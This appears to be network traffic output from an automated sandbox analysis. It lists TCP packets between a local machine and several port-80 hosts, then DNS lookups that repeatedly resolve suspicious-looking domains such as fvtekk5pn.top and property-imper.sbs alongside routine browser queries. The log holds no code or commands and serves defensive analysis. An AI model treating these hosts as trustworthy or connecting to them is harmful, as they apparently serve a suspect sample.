Nov 23, 2024 13:28:43.301304102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.301353931 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.302891970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.302988052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.303040028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.305164099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.305239916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.305425882 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.307959080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.308053970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.308129072 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.334522963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.334638119 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.334690094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.335602999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.376940012 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.412424088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.412533045 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.412601948 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.413573980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.413703918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.413758039 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.496382952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.496566057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.496614933 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.497477055 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.497587919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.497895956 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.499727964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.510247946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.510327101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.510380030 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.537919044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.538027048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.538074970 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.539024115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.539830923 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.580456018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.580563068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.580620050 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.581566095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.581669092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.581895113 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.621917009 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.622023106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.622077942 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.623087883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.623264074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.623321056 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.625376940 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.626051903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.626068115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.626120090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.628331900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.628391981 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.664438963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.664566994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.665004969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.665591955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.665857077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.665899992 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.706160069 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.706254959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.706310987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.707293034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.707408905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.707448959 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.709630966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.709755898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.709918976 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.720375061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.720426083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.720489025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.748148918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 23, 2024 13:28:43.748174906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.748229027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.749340057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.749403954 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.749425888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.749892950 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.752538919 CET	49793	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:43.752789021 CET	49819	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:43.790339947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.790512085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.790616989 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.791481972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.791589975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.791640997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.793795109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.793881893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.797900915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.835262060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.835525036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.835706949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.836401939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.836560011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.836615086 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.838726044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.839431047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.839473009 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.839488983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.841965914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.841983080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.842044115 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.844268084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.845896959 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.867991924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 23, 2024 13:28:43.869945049 CET	49818	80	192.168.2.6	185.215.113.206
Nov 23, 2024 13:28:43.870739937 CET	49818	80	192.168.2.6	185.215.113.206
Nov 23, 2024 13:28:43.872334003 CET	80	49819	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:43.872483969 CET	80	49793	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:43.872597933 CET	49793	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:43.872608900 CET	49819	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:43.872771978 CET	49819	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:43.875864029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.876005888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.876075983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.877058029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.877192974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.877902985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.879738092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.879837990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.879918098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.886863947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.887005091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.887064934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.887960911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.917889118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.918056011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.918071032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.919029951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.919081926 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.919120073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.921358109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.921416044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.921453953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.930773020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.930846930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.930869102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.959050894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.959141970 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.959172010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.960309029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.960366011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.970875978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.970961094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.971019983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.972004890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.990255117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 23, 2024 13:28:43.992316008 CET	80	49819	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:44.017592907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.020977020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.021101952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.021254063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.022125006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.022232056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.022367954 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.024468899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.025110960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.025156975 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.025224924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.027475119 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.027534008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.027556896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.030065060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.030122042 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.045537949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.045602083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.045742989 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.086225986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.086266041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.086419106 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.104897976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.105025053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.105156898 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.106097937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.106266022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.106312037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.108381033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.109093904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.109139919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.109190941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.111404896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.111816883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.141149998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.141164064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.141324043 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.150613070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.150651932 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.150825024 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.151647091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.181261063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.181334019 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.181364059 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.213998079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.214049101 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.214076996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.215014935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.217910051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.231380939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.231605053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.231656075 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.256099939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.256114960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.256165028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.317214966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.317434072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.317478895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.318332911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.318458080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.318820000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.320666075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.351526022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.351572990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.351573944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.360816002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.360860109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.360889912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.402024984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.402080059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.402133942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.403160095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.403229952 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.403261900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.424216032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.424269915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.424288034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.466429949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.466490984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.466521025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.505728960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.505776882 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.505846977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.506896019 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.506939888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.506970882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.527483940 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.527528048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.527589083 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.561832905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.561891079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.562028885 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.612381935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.612457991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.612543106 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.653495073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.653593063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.653681040 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:44.654649973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.654736996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:44.654798031 CET	49758	80	192.168.2.6	34.116.198.130

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 13:28:19.764964104 CET	192.168.2.6	1.1.1.1	0xce19	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:19.772245884 CET	192.168.2.6	1.1.1.1	0x9bfe	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:28:34.347826004 CET	192.168.2.6	1.1.1.1	0x4284	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:52.576564074 CET	192.168.2.6	1.1.1.1	0x4602	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:52.576695919 CET	192.168.2.6	1.1.1.1	0x900f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 13:28:57.484103918 CET	192.168.2.6	1.1.1.1	0x9b4c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:57.665642023 CET	192.168.2.6	1.1.1.1	0x552f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:28:59.599986076 CET	192.168.2.6	1.1.1.1	0x141f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.600256920 CET	192.168.2.6	1.1.1.1	0x39c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.738835096 CET	192.168.2.6	1.1.1.1	0x71bd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.741008043 CET	192.168.2.6	1.1.1.1	0xb07e	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.890223026 CET	192.168.2.6	1.1.1.1	0xb63e	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 13:28:59.890605927 CET	192.168.2.6	1.1.1.1	0x54d3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:02.275728941 CET	192.168.2.6	1.1.1.1	0x7a32	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.276213884 CET	192.168.2.6	1.1.1.1	0xeded	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.298480034 CET	192.168.2.6	1.1.1.1	0x7356	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.448101044 CET	192.168.2.6	1.1.1.1	0x1ab8	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.585669041 CET	192.168.2.6	1.1.1.1	0xde35	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 13:29:03.048619032 CET	192.168.2.6	1.1.1.1	0xb81f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.049346924 CET	192.168.2.6	1.1.1.1	0x2ef5	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.199085951 CET	192.168.2.6	1.1.1.1	0x7763	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.372874022 CET	192.168.2.6	1.1.1.1	0x3f04	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.441471100 CET	192.168.2.6	1.1.1.1	0x607e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:03.445147038 CET	192.168.2.6	1.1.1.1	0x3198	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.518059015 CET	192.168.2.6	1.1.1.1	0x7423	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.907398939 CET	192.168.2.6	1.1.1.1	0x3a73	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:03.910218000 CET	192.168.2.6	1.1.1.1	0xc046	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:04.274615049 CET	192.168.2.6	1.1.1.1	0x5287	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:18.004945040 CET	192.168.2.6	1.1.1.1	0x93af	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:18.005028009 CET	192.168.2.6	1.1.1.1	0x113d	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:29:18.005070925 CET	192.168.2.6	1.1.1.1	0x93af	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:18.300409079 CET	192.168.2.6	1.1.1.1	0x93af	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:23.595469952 CET	192.168.2.6	1.1.1.1	0xe5ea	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:23.595580101 CET	192.168.2.6	1.1.1.1	0xfbb5	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:29:23.595580101 CET	192.168.2.6	1.1.1.1	0xe5ea	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:31.576675892 CET	192.168.2.6	1.1.1.1	0xf7e1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:31.577299118 CET	192.168.2.6	1.1.1.1	0x2723	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 13:29:38.094486952 CET	192.168.2.6	1.1.1.1	0x139c	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.094535112 CET	192.168.2.6	1.1.1.1	0xbe02	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:29:38.094602108 CET	192.168.2.6	1.1.1.1	0x139c	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.259218931 CET	192.168.2.6	1.1.1.1	0x97f3	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.443784952 CET	192.168.2.6	1.1.1.1	0xecc2	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.443834066 CET	192.168.2.6	1.1.1.1	0x5802	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:29:38.634941101 CET	192.168.2.6	1.1.1.1	0xd5b4	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.816917896 CET	192.168.2.6	1.1.1.1	0x1937	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.817049980 CET	192.168.2.6	1.1.1.1	0xd9fe	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:29:38.817135096 CET	192.168.2.6	1.1.1.1	0x1937	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
